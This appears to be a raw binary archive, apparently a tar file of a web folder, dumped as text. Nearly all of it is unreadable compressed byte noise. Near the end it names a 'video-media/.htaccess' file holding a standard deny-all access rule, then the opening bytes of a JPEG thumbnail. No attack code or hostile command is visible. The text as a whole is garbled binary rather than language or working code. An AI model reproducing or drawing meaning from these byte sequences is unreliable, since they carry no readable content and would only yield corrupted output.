x}{<6,q˄[e5lYk}q12kaYm4ޔ=@Zlmuj#R lqaaWgDasZEy@ Y'(msIӢt Y5dFNClO~dP]A|l{Lቑ? ++M Bji7ph&wQ3fc͊a{\!_Y.lwwʃV)Z0# (h/XHCO V~{斆]#-UQO X3byt)L&j7գb~6 @e{VЬnԡ=CO@*W6Kg{L /Mї+t9U:b纐X sM0QfF?ˇ41fC&t2,y &\G!Y$NWUE)vR^̆&\6; >9e۳[eK(ꄍLev[YdRյ 2Y{@-qROe% oxsdK2~A&Iѥ]bB%k$V^밳=/T3krr7[6[VZ yyqR4-H`{|8m \Yr\O-O].1KRvN_][ 2XX eciqQKy6 ,[ HSVlPpK0猎Ie=>?9vPM;{+KA Is'&7n 8 &$Ehsl=,[8|yv)óI#fɍ'fGe' 3&d8ˎalmdzUXsH* ޱHx'OT#1G/vo4s|.D &۶~}dkHtp@+lXYŌq ݽ gMp(+LnU:0~_8pZ׵pM_DWl\= 3[{y e *wGn#vt#.KvuoDwfpZ: ]~|s{#&r(H濯 p6ICl! ʄc9Hum4r[ .6[2q[AjFF3?!NƇ#O^I=IZV6Z;۴Ky}7|v+[KwOL4#+hZ ǒ3Ks4 K85ЬwSa-fp}vF42A({ck9.&;KxsVlV-{\8s4a;$2Od5DQ}$)E_=u-9GiCf▒ښ <>܉UC֎Tu{4dCqꝇ*wSw8T8跻^xw#,/fs#Dc7=*=V$8(;/C-i83/U$sHIR0 ڎV7C?3[WxZ:{/vSw_PM_ ȕ/_hKO7N}I\Y˖TrqJ2*%P]'.h֎DT=EvO:EujƍT(RaVgNMy[ RQT'Πiw*rlѺm40<AHxm#bx숏*H$%ѐsARŻC1J.2j8A`Oy ٥G9<;5w0pU'6՛B59R(U[2엁ԤCYFPDժvkӉZwM5TG+=G[!_xɌ%,<CzFt1u]9[OG\xŲw22c&<7qOeKGUC?^k &4SP,|L5Z,»h0&3(8J,f04wdH8Xbrۣ/zY~*27r pZ:yZqh0p4NNj1ga_-Y+]5BoE&'JfzUH_\O1ƕUfIF-.q1d)Z-ve5L$ F16Ze .*GO TOCF[ k1XE[x2)z4y}PaR<_ \#H[3~Mpz*=GG1d<ZVh Vk7}Ur}1i$#i%g+S\6CN9dǢ_]GpG˜{܌颻Z\Mlw#-퍾O<6c>DlMsuRZ뚌6]!vZIpcԞaԎkK]@ Ez"㉌`4?g2=Y5O{CTi ]mqFv7V[e3_cp3:TN{~VOF-kdA/.95-$9qd;ld6?Mi/~S9`O;8WcdrKװMϓ#b1=}oQqri{7N-/Vv?_WQO^ Ac8,tr~"dd&bT3߁=8Ksxw)r ? TP^4I2 #xUS6I&5= co#Of,lG:&Ӆ$cgoTG8tP iӼ]JIiF urCǪMq]XzVT[%K?#Ti\G<˴r8ĭA9O*\[J7ӞE4qhH$қAܕX%BYӔNJ*ۢ.#VyZqaҖ,~Ț4XĕAgd-UU&k\ =8蟢;)/] m/^>[os섍zI]JXh'pu,TFGfU+dMYW_.@Cod] h0fl`oJ\,hI:+¥ɎUVSC;* ۉ+' 2Ε%A;ҠT'*U8œmS41XME{4D$Ct4V0U*yN*ɖ+=?+&i26GE`ruT܈Di2ua@!R N6q|H[O>GFkmY4+t\cGf8%+ N +VrLgAtX[&I~KsD~DΑtyaCHi~"2SI>V9yf9kZ?L]ͬg x WElmlMߺFRlY#L1&WZF#h$&Cy;GR 0gf5ry*F9M5,МIJ ܐki%Lv\G֓i5yҙ5?nj,ay"'MZU{uhi|A劾_Zt9͚Yem ֩cfs\]-9賲j9yN-;f}丅.cM0{+ D=GfZ[ ='*LgZnYu@{ Lg=8"\b(cʛk !yXB]1L2nD_K P,_4$qcU?爉޻{);!cۘ]VQl )gE⵻]*,O+[A KHśkMNsלU5-Mye˝$$ ^?£7xo 8\5udMKIv(%*qO69lvÁ [7u򈕁uU*tMʙ)Q95ߑcG`-FSLoᜆdꓚn+KXHzNO 9%әqhb$`~D41\oqœ>syyZzwrx}iX?4J\h~cZҳ5(>m}FEĸITeDx:^TcTRri|V E+D5jڤBRE;h`U#e#EXeap☺ucr5β8YKF#05 `qiO +g2=L$|\7J5V}qZ<2%#ac~n֔zG Q;r(sg4^ʒC62AK3畢$ZqBʓm] _Tn;#i*Qۖp>8͸s7EAھf^d8pE\:2rq'afԵh2@h ѫ>+XH 'sOxmFzyr U&l'K} ǣ Eզq2Ai#J2Eɸz>Cd`*EYM/Psb[^J勭eK]ŨeftI1UAqDVpvifoqgI攧GpA\٭R28,Xȗ>;~%-l1B)&Fw^EhR06gL,SCLYq YdF;uHI$uuIt.I;{|-Cf;Vv-_wM-Zi3RIL6\{{%`:z S{UVn!ĝuFə*TVX$ݣM-={5w G@ggiW1w3TԈz۾VR1is`H028RXIt ،Ḧ́8g vp1Mjh+KHPN9RTFKF\ ΰxHVZ9MpVmY[$yeqM>IcBhg<%NhRIEݔ@Qմ)G$OaKY IM,h-XN>&1'73nHll{@WY^IBI-([ A+vZO&n^LQTSK`h[WAxlm陡bר|`ȭhcHE?-)WV@Tdvvڷ. ,=iJtVCq,d5J% QH6[=y3H]"ɉUeo1M ٺQLaQ>MĒTxr9rɆBX )D8rg[z> 'vmcC̈́"f_UH*/']GfL?+lsَHu@u*CgktkYER 2E7667GEֈ4<*Hh'yTg@$t6:| T> q^vɚiɄT,lq$'J'U8:Ff3'1ʛۅp.BTihkmh]r8(ؖE 0 P\bAӸ^{i@#;(8X^#3v&KHur;-C|c>f9'$e~s$ty O omcA"*vAӘ؃i? .*oUHubl4Mx抆c2YeeI\M\5ɚ8AeRNCĄ+fΔt2 FaGs]+.' 2Qq qƶy '6ҞZ6cjnZr4wV:^o,~GFܭy+͚&S2et0՞VCY40Z;+_]NI2\-UJZ ?OIH"r`kNAIZ>x{##{d2]v{*}rvjB_ [_O0 Jy?5q3Ȝ]dðI7cuI"~hdD(TZx['Ev̈T8ݖ6SxΑ!i8Tk IPtb#Η&|I+ZCd*~q`u<[bK dG u;>S dr,gY,cdV<*"DW.E4us>KrǣxSfaNܼ`wޭ[sMf4!xӂOuP0 ­\FM9ip䑺fhT<j dhょ,SoƓcɥ{{e9f5Vyc{z@?!EԜӜ 35gE(lvJ5&BQȐFzG;85ѿIդԡnjsVsMJ6d4.Iٮ>Xᵃh!d$esZl|-VC++Gt rJGLmm˅Q 'svطxm#5w %jZc%V,?SF vY '8j FT`6>L.^\IDy]Щ9܈ű8,̥"9t|> 1; =qzÊ̘C:*m;#L˶ ǧdqi>\zyHR^W0%.lC[,1|'cšXߘGkE>|WyY XA$mZa\B><;~;**ˌQн*-IL#i{RȚУ)Gs7ũc 7J3\DZ&1h0U L5>,z4:ưkN;skV286;*vNƚܭq_鶕;+G jxVejy⬷$Wꙏk$8iZ!P˧vcQ1/\^u85mtLK#8= S/CKB*,)IFJiZ&(`R, H N 6^^x,:*~xƣfRMta8Vi7JKV~ mq0d&Q]AHߦ$tIZvG\qxY9ne.ROMuM:&xd`8vE e.P$̀QEm А Z,l]Y)RSF V;T/C1Nc WPculf` D a$rq:3ٹSvl}ǢeׅR8%VU6;-)0=ZC9I>mU<ۥ+T'h&^*gӐ*˥QŒMoKZGc]eHMA{geS錷WJRF$wcѵ%HVo`!A%uTCQ(r28w*l@Q$|rD21,֒6Vi{q|ʶmO!$mHOJǀТ(YQ{d> |^auH2mMq`G8Y.y$f; #칥/LocYT HS"()=7]+c(mbSŢ08@ؙ^P&2C NZ4vVM'>6@ =wڗ=hFi*VM$B 8ZHG J͓qZ p*+GuΎ8mc{(mœuUY *g%EB- LȎ(ET0\#P&4}A~F^`!E'˱@yd`ƟKTߑM 8Qԟoq_1 1v[H=+2dg6wv6odqn M0lMt7hSF2$p!o ]+q)OEMdMZeS22{]AcȓXs[('>I%iY\,VN/"b4qbPRt\xg,jz>&<9b l$`dcŦDl۞%٤wиΓ")g.y2NObx{ OODwg<%E,$9\WLՎG%>]ǡrr]fǢÓ1>L:8~eǛ]̓+$d[}⬦ǃC,:-?s  !BՂNk. ðI}Rlf8GgZ6OLCnUl0Ɏ[ ]YMY 4 !kLa+p~G|akq `//uC}$nWbSN>{'*m8HJLӝOQ0*s q5#..op xpZ}W,!qGm&<YIX8&z1}NS2ZXoړ0Q'6>V\6`߈csp?%{Nn-! c |IfF}êʌrmYp$OBʝE$'^fAg:THvUS l:&qu!:A\|Ea(| =X ɚz Z| ˟3=qsh$Þ=3scXkOK赃Niv\ӇvcD-F77p~Z~T\mibџo8aTF M#asQHi GLaEbI@|,vu-xDB7q7GҼ<=n֓^6ʃmq\lP繱r6V Zt9f2￲eOMʠӍmM~\uَ^܆/>ϣ9PXӣwѕx4 vT,mlgxYbs%ai!IŝP!>:7x\8F 1 Uq W-t+tMPtġΰO㕗/&RI"dȑ2_iQ+eӚ{-t.qZu+otni DCڎ#'s*0r*,s yاV G#4B큵Am# LcqqNT"ã`$qzF|#k^ eӱPpg]l\f('9+ Fxh;;&X`fI^"fȴ<_AQAva[m\\>7NƸ~M1p&;쀞ܬ+gk搗H+ _D#f4^ΤgJ\qUγ(|ϮUgRax>T?wF.yԤ;7NQ$+N2;2-ۅ-t,9I$*peq_k",M)t1 vKz2O.#sGJ~1ّ! wU4vӥdm^K`tIZ7hcΈh<)b8yx?;Sԧs\[֒i9}K1h<-nx7F5aNe]6Ks•-*;e=M^6Y}{)5€HdR4ĈYOO;epdRD,FG9SjA@(4엕>\Sdz{;v3&洞Z{(8yyxp.$#dǒwJ/jJSpoETl ONJ \Y x£_ G'0\ʐ "S(ҵ'elQRL!If :[8Szu7!֝J' ?Z_VWc0n>d_W!m "Ǒ'QC=AM}qiO ̘%#Xz,yB[l#,lʽSn$-S&1 ,RJ~cϺ1N -'.G mR ɍdaQ͐JHsE(qLDE<j 9EAsfE&N U)3i-<)#)4R`[༶PbThL(陥YZL, ~O"MNw #}f۲'nU&LAJ36oRET!v}'ŒӰIi{ڴO*'3 @j~=?aZAvIEd8>A>p Ho<(upB.%tҩˀxWs]qH|.. G碹H LXtcU顼J%{)DIYdgnipb¯@S# Sv8caʇ’R)hIyxYI7Zv,81:_&֪/=*DYec' c&Jw:)\6VSZkR٦Mۇ$h#{'og? e$[?]`F#pH FVۂ -<'o *[=Vpgw\TuQ|4WDׅ]gS)S.' 6u49H9sta4F9-g*3m6a  JnY=MQ2(sH*#O@Idck:xHsL@Ň7]FdpXgFHwk NUS3w%If{@n-֎) u*/Շ-E;S- 5ش6hE.n R%J;Ul0H6_\Ӫ1}IE;+{ mX]U<1_c8rI6>f, ,K _FD ٍߕscG>{^48r@5\v# $1׹ yƶcvv.7&d;AS05 F+Gf<0{:+qs3m#)|;3 m4eN&7Su -M;vSH=xCxb,Uwa_Bq#kY+>W۝E7;2hy0;_ֱ_S)W"l[O%¹x&],| XVW=`h1܃ k3@̚6@vloڢ;uۦGus[TٌGbdň][re#v* XMA`jGA4`)TZ"iT |NGE;=50uzI NRK"v3#2`Fܮ7Xnq Ʃ;LJ@qJwzgX4:G[Xdfng{l8mpUֈ'c>ivVQNsf*lL9k ő++QgЇGa[P$zm>U&PO{]+TeƉ"Va,4kTأfo. P#@Wҡ8{,諤İnlR`4x=M(B~ǝy &@)`'qEP_3cmM=r#Գ:qI%h~7˜6M YLp}v*ݙJf6hvIy„axGQjt?ԙ 5sB`*ׇ&I;.3k0ʮc&޹4<זAM%-YFF9 Y>s1_gV:6.o0ހ+Δ1۴gf/Rĉd` ZؙlX0Z-Oٓ#X`(KsWDYiA692/Bb~Dt$9ڄG  VNCZpi0VYI?p\dTxaQ͇r8;TVh0Zre;r˹$5dLl  û]ėRk#$on~LmO0zV]#9-}l&=|6[M9 *_"';cm:]?-H9=U ix?QQu=7;=™>?mSAC<:"Q 쳗xgܐ8W~311 O$™I"\'ϛ{Vp/9Ȗ|\G[H^ K#EJ&PHO,YN'7''  38m5jW]ROL6+<BBOC(uj[ aND]TY6N" 4{\Vr.Kc,ULz~b)wuB-݂I]'*{4sj$o !:v6f;vR^G<&_ `=Н)3#K]S0yK&%f5M*,aq*}O]\fj$'!!Dܸ+=} ox\OUiaVy|GZ5g #Xj;\$W+GJ;:hHx GJɚ䅢c0I6ϞdjÒDP/;@IY(J0)IC䀦39 G7AT]Wu6cp['7|#j9/ܬΡd%<@m~^e=Sɐ4K4s ,s.1]':#d9aC3q<׷Rb+Sf$-hsʵ·ʒI:ϥV]ͅ;w(ЪR20?&gE˜Nq᧓e@|_>c6,Wl沭NEڈ춺x"tE{{PĞ93'01kl4ڙxZvYG*,q a\ -ÊL=S38ȚK[!XN3+|o 7k_Z#UV,2G7$0~C̔k lK&w[E˟hi1!*L\LAw)բ)㹤95~Q&. 2c'*L+>esmq )>F[#aXr^7i0- }A|hAIV暤Lc흫iY801âw<&4H3'χtbG5\{9Ok`|^ !E֋e`=NUFOa('֥qY~o;ߵQ1e{7n1cnfce(ëe9S٢%f 45.zXMvrcs7SOS%ձ0 d*F87۞<^62ImkYm=꺤{ED'&k.s"t8C6m-wӜ.&ҲвRC^41ǒ9FT\X<ɚӏ1g I v4r#h! oӺv+uis3sbkƵ@?(+6<0: ҭ#9ILб2[#>= ?d Y׸ujd=sɎ7z\oO`jf\fP-ڠ(\yMHf/?Skmu͏ʧu\N@pOG; eǵNJLD+v2T[QA~mA ɞss_#梱{*js!mmqso5!,PA{CcArrfK}{-+!.+a9G+ر͕.; v-;|tD|yky.&, nD(;=59hdwC3|EL]g o,.6~{Nlsnߕ&,VEG9XOţ<9!Xw4頒l:;M{lśɏ!UEMOvy{3iB)VqnLn_*-YlpI5eHfsrtoe΅G;[a;hgʏO6O,u <⽵4`YVrÓ1ʍ[/{Ěc0Nca 'ԴigcalOa)y`G0{GB/S% L]{S&~4XE{ wE8v;޶?/|2'8`PR5ƍ!ƎMA< aAf^1>u܃ͫQ>E.<>1;4CU^diz{ߵȰ|2Fv#6P< I:{QFM{\Z89*.\/5Y >}dG#D˸qLbd,I6;\)'J0q{h`W=ؚdgJhU?'2V ykH=TڜN4Oo&=;Ά,Rz+=إhKUBtnQ;C@,boFT?M׆FXJ6)"&n[jJG 4}_;G[df;$.fQl#7>9'Q_D@t*܆9 ] i((kO)0 i(f_I,C8UUlq$> ċi#[x{>M75U@z'c6i]han X[Mɕ>AXnWfi) qgӺQ;XY03gZWĞi!KXv{Z+0m`={-#q`bxJ6arW6G+D# ]~t8o-%VSzGt'h7L\lw9K5Sci26H֏gPңW$[cǕ⓴ 'o,4.#ѻh=~E3 tϲdc6\kts߳!df{IOfCd=nURI&~K ?1pv98X}S{|ic4W5{V6>s3^}M7]r\|C }ʽ֋0p?6ӲO^_X{h}6,nsGc/>N5ye"G۴_aj7;ȉLP:\bG+'k~ JHdߨV8Zl<3iM+c}L=w0Um8GE&a,vl"H*9 Y]Ig<ưG Rhqfd6y@8%FHɞfS}ʕlV[`CsF<1 2Pԇ#E g;Ɍ\d]O͊N L2Vs\6ߴ*]Tv,O$KKxNSFwEhXhh;"•Wl\/睹_OsG=x!v)#HE4XI0?pÒ#y T,m^tq .-0{xJ>Sr&h^X _l9\\{-UU7hY;Kd>Y4ɋ&HI{(9[p r5!6G}QBTh(-=Vk27?1\KOV+Yf[jEY:iTc7g mėWtP%a\N>QF׫AȬʏm5j.plU;Yr(Ŧ$e#쫈Ye yVBXB\ "≍:fɸxIAsF6@ޛB~,a٨`!ߕ>&V68TD {ޥKIGBc9Qs$r)tB+|RGQJJRey.ou*=M! ||\gjo=L=PuJ6.LǑ&Kr7j"-3`o%d&Ԧbv_ˋG^a "sϲWC>C X~%BT,4 ,s7HAǸUz%{N¼dyh&Ò28*vm,ϧ`8s¶yD(X8–o&Ώ*&qH `c߶wj|ƂyFʛ\ŭ=9 [$ L:n呴|N9]lr`0p5s~7Sd ]^ml2!k"W!<9';($ό[v8UzD3?#)R{3n;tyf#Ȯ1Ο$r>mc<*ʻ˃9{yhK;ęY5ނ{-.VX|~&kyf<qqQǑ˚9ꏅXc78wWZbksx5/?&ǎv4 p3% ǟb;_s䈒3ݓY\m:|GDeHgvX<9%C$pALےr%CtY;t7i2qInS$X5c1Z`jfF2x{Oqk{ue#h{oi2FB繡dWm?'HL9- 1 sJf63\ӋfDʇ/co`[;4<31ǞRǨ% 6FN6' f{K.7gLD^k>PQ\#G{&y3#C\&hzYs2 kCfLR|tҶYdKiW9Z\8-dw'r||%\V}s.LGD` 7WI$v?  g1-?_ ƅBo(*LB, |eAD`QyP4o71Lhz|X1yQ;s=͙Jѡ{hǚx3dƔXyD{!JүilG4B90Fj>\6~Swk ñ,39p g99[4V)^'+"Id>(2bl C+V;_"7(DII$#g [H\w<h7k O.5|y|RM)A]&F,(= Y6{DN UhPן,>\LvN[1>熸zAk6n3&3˽25n:8$VԢ >D(I#@X\Zڮ&bG<&7ϸ#~V e8GZpNRqaJa$D)d8uMY3j8i29xr{15#8.  "PL!~]07AݑjM^8* =bKxMw&ii4>&qȨ<ȕ<ۊcUB2'ֱ"'H j1ɖ+qE5ù)u=-{W6xqotB,_*ߺ6sgÔ"]NA'(x"|[)*ًeΗ:*:AE#0;.|v#lbqf3@R[oD)YFs9+Vt86y-R iDYLpzXGޑ׼Q#xvQ{,Os+0U%klrО ̃i EZjotN +Y~Do:t+ud `MP rlu[=fHlY%~*wrIJ,*8SDS;K1Xz׿꨼/Gjm<ɜMp;~e#jWًN _;{6zO_9̇c>8Vx.hi:XƒUlntRmNjxsds\Hc#%ћie3O<{b HoBpR3pLjJ޼fW A<hլ'2YTN9p&se`܇FBRkLaB2[#CARu`%g5"\HD-3DhSt5Vem\kc{.֕dCK\6HI[dg ΡT`F$% [ 1*͸Mr"FWvd7xS[6&h!xP+ )Rd8QgMj.r:gM(p ';"6왻s.!ĹTf)[eIqҳ:Z.#\#ͅyb;T<+%=|z(G /#9-fLMYVqcPMD`Rl(mAO'c p(q4h+*)DrA&{TP TlHJt.qe)cOň,\QkZ!xUL Spczvl?3$()} Ve:?Aor_O96s;f>YLp'T-Q3UJ]ǹLh0qhҍB9d9C#DLRAUN4\pPPwUUWj1 s I x,l OFҚ\xdRUwTe&'Ѳ{c6 _UI ;5P4dw*7/ ǭd..1QuwJFB#/쎥V˜g xf'R┑J#jY`rC;(yYYU^`YG0S B&Sʧs(sʩyzS$ܓ];C(L]ɋ%#4.$9Hr !z*Gt^Ot 2 {1'4ⱶ,גYiw +: , y !pږW:6ݚQW hM+i*ATop"]d>gQс Ts"W2@65)jBHBT'XQ6>ք%B V[NY|lKVM<4T2uMk X!}y߫1.{g&Q]wPزeى k 1T6KE= FDqpĹ=Z{lÒݎi}=>.oO$zL\na4JA'$a.OL>\hQ˒ ȉkv%z|a8zB;ZH=Qq]Uay{DscNմ)F%".4:hˌ{+5g84B@4_`/ o(l1:%zC40溨[>M9PEŎ8{.8$k 엢T=èTyz`1l\f֎U#M^lx 4/Y όQn 20gi1L,'YÍ\Xt\eC. D!!=XmzG'BlЌ} u^h%sVorZE|oX>c[ܞ?gK%s1G 8<QVs0]kFg6ԭcp0ݔNKe,"c뻲{2ˍ#Ä9aJWcVbؙSc1ÿ\3Cf p3qyoȋ"i`syoZKRHlmp`rJD-75kI]V[CGsc_Z)0u&$dy>RC]FӄɅ5:F~ISco牱ak7gW7 Y$PH#n\_FhY4~oMOfi9rwV[-FQ*i8jb!oSa &v=Vy#Xz O!'M n2[#\%]vC2[#!|DZ OȈ_>([u[b E9+ 6q }*gu7kM{wNyI è~^TD٤ XI3Afk9mx@U XEH(4# /!ZS̼M&fb_a.xgei<<: 6, *Y~GEqmQמ I Hֶ74,¸^c|NӲ2?vmZ4n&xFV?g={*go#P|>IKl]txf{G֛ƚ341G.>ޢIC+l*,d)@BbIDd cw` XEe*II*J켦[1?+AcnӋX3CEFՊ)0nUNLI ByJ II$ ^];Mu4rrV^C+@nHD3+4^)vE`v3I,c pSK-fҔ4)B˝!q#6֞R3 )RV!-Ra㲐MQv4Sۈ ;IּV4AģQ Dzl!oQM8%;M",TSoW[CЌqjmLq\9KEo$- hHK|4E~;7%U/'pLM qg<(8WrAB ֊d|D&z9`4ظQg:KT(h%l#[GUP쭣>N5t_<4'ಎyMMh:Kyۃp~pe?܅:Mv9ÀX$|-S2+Uk*,@:P.h.%W#<я 2ɛ{XJӞl#HԓrRnʴt;®"K{7N<^.4;YǥXt\i:iVDOkX@^|=•riRHi:'X% Z\GE.y#OKvdnqr>%eXGu2vz66C^5/! {v<~4,ZBC efݬ=Vf]IAcczC7f :f;%QG[~PlI荨ghl<"GX:Yl`z~:(: 6)ɐc*f##7=ڪϧMp'r./qˣGlexH#6;lC =1~\1[ hɾR Z8U,E^7]Tqi) s`C,w6\Y t<9c'FLkh93j 0;%Oψo<ѥ~$P98MK˗L%6QO鹱g6V8 @GcN}])g'7#u8Eڈ DdmН@Lψ.Z/ "PЬohMqIk4 ͓dLJ \ MmhGv6V /2`9쉦Ⱦ ^xy[ӡXgExo)ώ0ՠr)Fc+C`YOeON7URkY^!d{CCU̅I;}Ilŧ(wO4BLH#ƂY&Dqix s=-g ^.rA$U^D]I$~lrE,5=ؘ{-ǥ "Rѣ]tXpل^>DkIu;~kG^yXWGWu2 587iQ)ѤaZkcz|!sakw2r2k.=Z"q| g%##8]9︎^7l$e=9o?8'GFD@$pC&+ P 0-*3 2wWA})mrTyÎѽ][-5WY<,Yֽe&a{fsOђv* /9s ||{#9h{3/+Ngg,&z2Jַ$pbBEH%alw(Þo)i> Am rtGљ?֏L$:Y57E65 hZ#?+{A1{T,GnZ 39j*CV`BO.T-Rwl;*9虗|usB"lqQF2(TCW$JLg{ҵIn=R!ijӪ$\b?_i;Q!SbAsdgV8 GXF9TV{%>iq-YC#Fv#Y߸ZgrL`K]ՎN%)R% (Nr{"Xy8V+mS3(zc Her; ' CF9&]tUCˮ(B̦X3k>-H<񋑥xT|)qJ^6<@$c/ 0D()5Υwx*U"hY+\hK._D,GU5l疉͜sDz(W%u,L i3]!<ҋ6Mw;39<372od]tPB20%Jn`#Vy%H%g,F^ 8B鯺nA#/9GL4,+In^8*;wTÖѓCgHJBU)(w. 4l=˭6 ,:Q˺ޑr%?h+m@˞^ӆXxhI#SbPPs[n$$*=h5IY#Dt g4"+Pf;o((dش+e*D tv cp' <& %ꁀxOdќrԬv'8<=w|{_(iN6RUc(ℸZ6m m#)5KCع1E3ͪ&CIɢq/=LN*!GCqT8ɚ9rl-.63ǐ=ŕz;1X:xmdɊHnZ\ෲ'FfMQO:Y 2q_IVg&hpY׀9Z$rle9{"Xt|p05sn]FL̆0ӎ!aA*N|睡9J$ㄑuX;J]/L5p X-"@Uge4BMjIl3PfDJ 7E/n_dul{*c"; _%5h38.&9㢴NEWyx~뉮!:ujb, 'Z|Y+M@#oIʌtx.HlB<;L/ls43!{NY;e= 5,4M38BPO({]~f Ds[ڳTlƇ;t&AyPu !ehw&--Y):%gd1 leő3.؋aVAP k_ehVN60scɣlA㖗u$* cL`jt[5oE.I&G~5ol<M;8\&8l[}PM:EMlt<`cx!y8e汾C5K2F)8wZ+=c|?NyB^L82͉,{l}ߕA6u,RM!trFdעw2H:rIYH7&|z G9\q s^֯l kQ7ob K,zd|S |I1cdI)Wb pc&{r QcwzwNg),,$na]G$S"xnFv[dy7v< 66X.sVk;ͭ[>>腍)C\QBanq9[~9ΕÑ#*#H 5kyw裚eF2]6F(|+&<Uk1Yq#'ӵhs1õOEUh~A3O{*'IvcĀ h\hGEwe6(dƕS{ˊ>PԱeu ii16٧:!L =$/|Am E:jE,i6,F:B;8{%M䐡ˊZl.-R].$>E֟ (3鑝,3:';Bn?DTfMW y@$OipN:|OqGzagu{sjWG?ϐccCGI=»-cFOdB3/vB|?rf a<͍&*.j:0m9l942NTW;ydpW:32[HTGdCE`6Qupihk S0 spCmLyqw{3Xd8Š+K&04zgDW{9<$h P٤Bk C}uJTlrmѬPce&^6jp zuL&,U2XSE yLJ|qżnj͝:X8M)>FHǧKDxYc.& "0Cp}1IԒ U*rI W*II]$q]"6 Y %YV,Z"WԈ I\Z{c*=#$*piu+HMHű5vLˬ{'Cf0?%4谏({MeUiZO_)MQb'jN""I)>g:EYrxIvtf.(AJ &;)e~ԦƉc~V8+/41 Cku.;()7M^lR%V{^ #Bɓc =7T3<rWHqKh( 8]pS;r9UbBMWRP)Roڢ1JKCL "H#K"i)) ؏F )., qIE(ʋg:K 3s. --2-"ldo-r0,-B[=\nԩ Rq\,Z{kKerc,y8U"G<.l2f7qpW\❍wEDb 5&(oU+f3 f.GJ0i–}n= <.EeR C: R$ -f CIXɳv,!6 \'Z=4ddC:v ŒoU6RLcf@S1۸*Fn\/D4okkQüUsAFpkK-Ȋpzcuy0MDХĥ_v +,.Oaet!lQOZkE,7e¸v al{jӲḧ́ wz!@ҥ agʏԜP:e4;.0xVdhsБu]V2vnft>Fkx^.3\9 FǴPM3GxI.JJ7-{^dV~O rHiBJf`P1huHqوh֗7CsZvʤK\ҳ*/)SZuEopG9o /Ky!ώ|~`Q#iCbU܈p[M l f b"FzH쭨Qms=N#NB~V͡#~F_ N ʯ 2ǼuT%dMf\G8D("jY1yz,#u5ʼW0ٟi啬s=/yZl#B@38`]%._ HkE?Q.|"?" \YX,&{t.Qt poiϓoe:hW9*& &&tvs)H'saKbL\Ԝ)g|R~){R#hW¬,Ifӎ7$$i fis9m rk5QQW#-qLIz+$-=C#uV2M̜igqdN6NSDq;ɋ¨BrJ_ddepmjChuCU<)пyLƈ3:FGLm+>K},"HAo=_U.ٯ1$_+GJA`-ݸEtASS7Ŧ3\ #cq3.4Jg;&Wsnٛe>3uZ ٱmY\U=uD.Lk6}.>{WsvA?Ęd܂lΆ'HV;*K$ŏdYkP-s/X왭.<mrNԡ +y:BFD;".oDRfh' 4wN6aiDr(M{3OE"mH a̶@~) t3kYiQܩYz4S:}Ԭj8uSY%CEk?e#uP&8 cRJyϜwUyxYd?)Ɣ˼*Td]֎%"|NSћw* du qi8yW˺p.X G7ZƑZ9Ro $gT R`JLSd4XPx7ECEhUdwz:0."}ru q\.&ЙW .Y2'Ngjĸ )u'֐ШǩR\8*; =S&UhAJ:$'bK\ީ0DJZMFxNإl7iR!xSJEX-\}%F.;#G )Ǹ& H:]ܦˏf ljMR%<%i!<*Bx(0AaIe9R%.HBǴ@z'Z4rQ!ʄIhyhp[LY'qPNaVq0Y"Iw-BfZff }:ћy0H͕g$X .Z9rjf .Rp 2,d ɥ oU_%]ͥ=8)%s28k T{m9&]=cu(HvktNdyZ 3@w6l<ۙ#YU EhzsZB(.6nбMN`u ,~#5Evdx1cJP/*@ԙ-mQ3e1K GUu:tf4Oʇ>skB\d* M#/896y IwœS\)حÏlsA^1YyhqJFDٯs(3"'JV"|t9׍6y-uc;)VYCeg*^=]冶g dhP9@} Ey>}ڏeq-@F&ȔYzچe LBg? Ey!cckMU>&78Q 굚t<#ۛKF. &ҼCBq:79{~c&h};! $Х&xKC-#MR=5<15A#=./ї4ƻ6vp/ti{掎  '^$cw7,c=YA-DMN.'<B'INCrFlX:W:{pszZ\$J)E^xO"c΅2 Q> wH&^<էk|/8s1k)a-9#ͫul*21Mï2 #l`Ai5-sL7d2QW4g,[DopB6縯N4܀茁V'XoYJ&͇:ͩl{Bb#.ۻ(ʙg1b CfQ=-Wu0c,;^IVn԰3ݳ{qdUCVy#;ѬBѻʪ YL}O.\am@dMrhXS{'2?aPH*Qm-hҩ\=~YakM(|簞8[ȺfrMmWE#=)ap$RYԐJa#F޶0FEkÂ-v3yy\;\$q?V¸UrY,5kg!.;f7{V3̑*ީ/>&V1a++9e8<+MbmEZdryrǕwiUO'HWɕ!Վ<#aP5(pƧ:uL+:t#o&cHSDq YNCaŏ棓JW1iJ٥Ҳp^gqRsnPKj_E׎9h2>N5@ Wd&CTw!V1dt%%H.qc!O;o!F覇s3 [IϵTWKݦ {hL(JO08 )UYnЭ\7ISEUI k!> Və# x 3h]ߕ]iUSK\TS)m?['8r롹$&6J@x])QݜE,)h ])m.LGZ)+:칡P@ph\x]i(J:&c @ULnR#l.O?5>^uPNG,Ď8O a?\ϰHːޤST+9w7=JtAh@'4u.KHO !m=SuQ4 'JCC$ⓠKۂ)E$6BG :!wTLJ D,SR1P+}죠)` Hz%跨eq5 k̤E7Dp J ˽8>deuWh|-q{-♱g=\u-Zn;2O(<]kpKocO/pVsPR(;O< `>4"AFR!B^E~hҁwfBSEYn*\7萣iQYCh'"V6B:3+8a #R-.X&[J<:tƵfu `vҝ JHk8BǓ/wDI[ V5Udik2/ˏ?i;@2bXR٥^+1~[:#:d0Cku6ڏbK;xU!J8_Z$cWs*1CNp|v*鋝:8InZODTm$USdpI=pulr$.|26WUA["KԛFAo2n 4=ևNֵ0'`9B8N&֙ #2 f->u ˙%vj9@6;4|,ٱğ9L O֝b/׺Myd#;[O+bYۣ9,&|PI'WC]ƫ̘lF}j6\v3ERMK/SǃIiOA`󞖪t9%lA Xe ,.9T}PM>lh!o24RK*\_'(E>Dx_qzy Ts@!q[?il;Utytli6F=p{+q`ӫ2Yz~CL8p+wfM{4w濑g_FǠ #EvS|m{4_Dza9蕁 JN yky[jn&dsy~~s<ӇGSq#z|cf+h/-LDAd3>*pWh Ef,zΓ ^Ǵ/Thj8r蓼Xta4mz>ÚF~&vST-ei^T!*\pt 3V[U I p0̲ck= r 'l{21x?1#ܣZ92t|rT %<.9ma84ui6=XS, Io|=]tdq+mAXv[D91F ^=w)'*4}#6ZBgl;/) +l܁XzdUꚉ:j#iWG;sM_/͘u˒T }uqE:Zr& a7kiʌVDΑ,vK+WzSykO+:䥎>rB{͓jdex"oʀ㳪FXCuUvideo-media/.htaccess000044400000000177151724237330010537 0ustar00 Order allow,deny Deny from all video-media/COMP_19_layer-150x150.jpeg000060400000013143151724237330012767 0ustar00JFIFICC_PROFILE0mntrRGB XYZ 